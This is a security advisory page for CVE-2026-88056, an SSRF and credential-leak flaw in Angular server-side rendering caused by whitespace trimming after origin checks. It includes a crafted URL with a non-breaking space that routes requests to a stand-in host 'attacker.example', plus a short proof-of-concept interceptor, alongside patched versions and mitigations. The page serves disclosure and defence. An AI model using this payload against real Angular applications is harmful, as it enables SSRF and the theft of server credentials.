CVE-2026-88056: Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Published Sep 10, 2026
·
Updated

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept: ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); }

// Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), });

// @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker.

Workarounds Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Other sources

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

MITRE

Affected Software

6 affected componentsFixes available
Google Angular>0<=20.3.29, >0<=21.2.21, >0<=22.1.3
npm/@angular/platform-server<20.3.30, <21.2.22, <22.1.4
npm/@angular/platform-server<=19.2.25
npm/@angular/platform-server>=20.0.0<20.3.30
20.3.30
npm/@angular/platform-server>=21.0.0<21.2.22
21.2.22
npm/@angular/platform-server>=22.0.0<22.1.4
22.1.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 20.3.30
  2. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 21.2.22
  3. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 22.1.4
  4. Upgrade

    Upgrade @angular/platform-server to a version that resolves this vulnerability.

    Fixed in 20.3.30
  5. Upgrade

    Upgrade @angular/platform-server to a version that resolves this vulnerability.

    Fixed in 21.2.22
  6. Upgrade

    Upgrade @angular/platform-server to a version that resolves this vulnerability.

    Fixed in 22.1.4
  7. Configuration

    Before resolving or dispatching any user-controlled URL in an Angular SSR (e.g., prior to relativeUrlsTransformerInterceptorFn/HttpClient), validate and sanitize the input URL to disallow leading Unicode whitespace characters such as U+00A0 and U+FEFF so they cannot change WHATWG parsing/origin-check outcomes and be resolved into a protocol-relative attacker-controlled URL.

    Angular SSRF mitigation in application URL validation (before HttpClient / relativeUrlsTransformerInterceptorFn) Validate/sanitize input URLs = Disallow leading Unicode whitespace characters (e.g., NO-BREAK SPACE U+00A0 and ZERO WIDTH NO-BREAK SPACE U+FEFF) before performing origin checks or passing them to HttpClient
  8. Compensating control

    Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed/processed by utilities that normalize whitespace differently from the WHATWG URL standard; instead, include explicit handling to prevent Unicode whitespace (e.g., U+00A0, U+FEFF) from being interpreted differently during SSR URL resolution.

Event History

Sep 10, 2026
CVE Published
via MITRE·06:42 PM
Data Sourced
via MITRE·06:42 PM
DescriptionWeakness
Advisory Published
via GitHub·08:19 PM
Data Sourced
via GitHub·08:19 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Applications using Angular Server-Side Rendering through @angular/platform-server are exposed if they use affected Angular versions and pass user-controlled resource or request URLs to HttpClient after validating them as same-origin. Client-only Angular applications are not described as affected.

2

What conditions are needed for credential disclosure?

An attacker needs to supply a URL beginning with leading Unicode whitespace, such as U+00A0 or U+FEFF, that passes the application's same-origin validation. Disclosure occurs when the SSR application attaches sensitive server-side credentials, such as Authorization headers, to the subsequently dispatched approved request.

3

What should be upgraded?

Upgrade Angular to version 20.3.30, 21.2.22, or 22.1.4, depending on the supported release line in use. These versions contain the fix.

4

How can teams assess whether their application is at risk?

Review server-side HttpClient call paths that accept user-controlled URLs and rely on WHATWG URL parsing for same-origin checks. Prioritize paths that add Authorization or other sensitive server-side credentials before issuing the request.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203